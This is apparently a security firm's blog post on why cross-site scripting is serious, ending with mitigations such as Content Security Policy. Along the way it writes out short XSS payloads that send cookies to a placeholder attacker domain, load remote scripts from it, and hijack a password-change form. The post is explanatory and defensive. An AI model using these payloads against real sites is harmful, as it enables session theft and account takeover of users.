XSS – It’s not just “alert(1)”

During regular security reviews of your web applications, especially during traditional penetration tests, it’s common to see a Cross Site Scripting (XSS) vulnerability such as:

But what is the risk here?

What can an attacker do with this vulnerability and how can they exploit your users with it?

Here at CovertSwarm as part of our Constant Cyber Attack subscription service, when we spot XSS vulnerabilities such as this we always try and take them further with our clients – to explore whether they can lead to a genuine point of compromise.

Most pentest providers don’t do this, and so it’s easy for their clients to underestimate the risk of Cross Site Scripting. Let’s explore what that risk may lead to….

Example Exploits

For these examples we have used JQuery syntax as this is usually clearer and shorter than pure JavaScript, but all of these can also be written in pure JavaScript.

Stealing Session Tokens

If you have not remembered to set the HTTPOnly flag on your session cookies, then an easy target for attackers will be to grab these so they can log in as your users. In this example the attacker posts all cookies from a user to a domain they control.

$.post(“//bad.com”, {cookie: document.cookie});

With this information they will be able to impersonate your users.

Figure 1 – An example cookie without HTTPOnly Set

Acting on behalf of the current user

If the attacker can’t steal the cookie, they can still perform any action the currently logged in user can perform, by either calling the API directly in the context of the current user, or using features of the web interface itself.

In the pseudo code example below, we hijack the click handler of the password change form and set the new password to a known value. It should be noted that this is a contrived example to demonstrate our point as an attacker could instead query the DOM for the password and send it to a third-party domain via HTTP Request as shown with the cookies example above.

$(‘button’).click(function() { 
$[input[name$=”_newpassword”].val(“password1”); 
updatePassword(); 
});

Collect data from users

We have already shown that an attacker could steal sessions, or perform actions on behalf of a user, but we could also collect additional details by displaying forms to the user, or by amending existing forms within the application. An example could be a fake login form to try and capture credentials, or an ‘update your details’ form to collect data such as user’s addresses which can be useful as part of an identity theft campaign.

Figure 2 Login form drawn on top of application with JavaScript

Loading Scripts from a Third Party

You may argue that the XSS injection point only allows a few characters, but by loading additional code from a third party it is possible to overcome this limitation. Depending on the injection point, and filtering used, there are several malicious payloads that could be deployed to load scripts into the page.

No filtering

When no filtering is in place an attacker can load a large payload from a third-party domain with the following example payload: This payload is only 34 characters and could be shortened even further, if necessary.

<script src=”//bad.com/a”></script> 

JQuery

For cases where some characters such as < and > are encoded correctly but our Swarm of ethical hackers are still able to inject into a script and where JQuery is already loaded, the following payload can be used to import a large script from a third-party domain.

jQuery.getScript(“//bad.com/a”)

Mitigating the risks of XSS
Whilst HTML encoding key characters of supplied user input solves the Cross Site Scripting (XSS) issue, there are several things that can be done to limit the risk of XSS in general. One of the most powerful is the deployment of a strict ‘Content Security Policy’ (CSP).

Content Security Policy (CSP)

Content Security Policy is a powerful header supported by modern browsers that allows a website owner to harden the default security policies in place. Whilst a full deep dive into this header is beyond the scope of this article, the following directive will make exploitation of a Cross Site Scripting (XSS) issue much harder for an attacker.

script-src 'self'

This header will prevent inline scripts from running, such as <script>alert(1);</script> and will only allow the site to load scripts from the same domain as the site is loaded from.

It is understood, however, that such a strict CSP policy can be hard to implement, especially on existing websites which rely on inline scripts; in these cases, we would recommend the following policy.

script-src 'self' unsafe-inline

This policy still provides some of the protection offered by CSP and should be seen a stop gap till the application can be rewritten to remove inline JavaScript.

Limit input length

Limiting the length of input values can significantly hamper an attacker’s ability to craft a payload, especially in combination with other defence in depth protection. However, as we have shown above an attacker may be able to craft a successful attack using fewer than 34 characters, or by using multiple small injection points to build up a more complex payload, and as such this mitigation should not be solely relied upon.

X-XSS-Protection

When searching for advice about XSS protection, the X-XSS-Protection header has historically been recommended. However, enabling this header is no longer recommended, and is in fact being phased-out in modern browsers. It has been found that in some cases enabling this header has made a secure site vulnerable to XSS.

Conclusion

Almost all reported Cross Site Scripting vulnerabilities are game-over conditions and should be considered critical. As an industry we all work hard to help clients understand the risk of Cross Site Scripting, and here at CovertSwarm our continuous security assessment service allows us to support our clients and as part of our red team engagement to detect and exploit these issues to both help increase our client’s understanding of the risks; improve product design; and to test their internal blue teams’ abilities to detect malicious behaviour when exploitation does make it into the wild.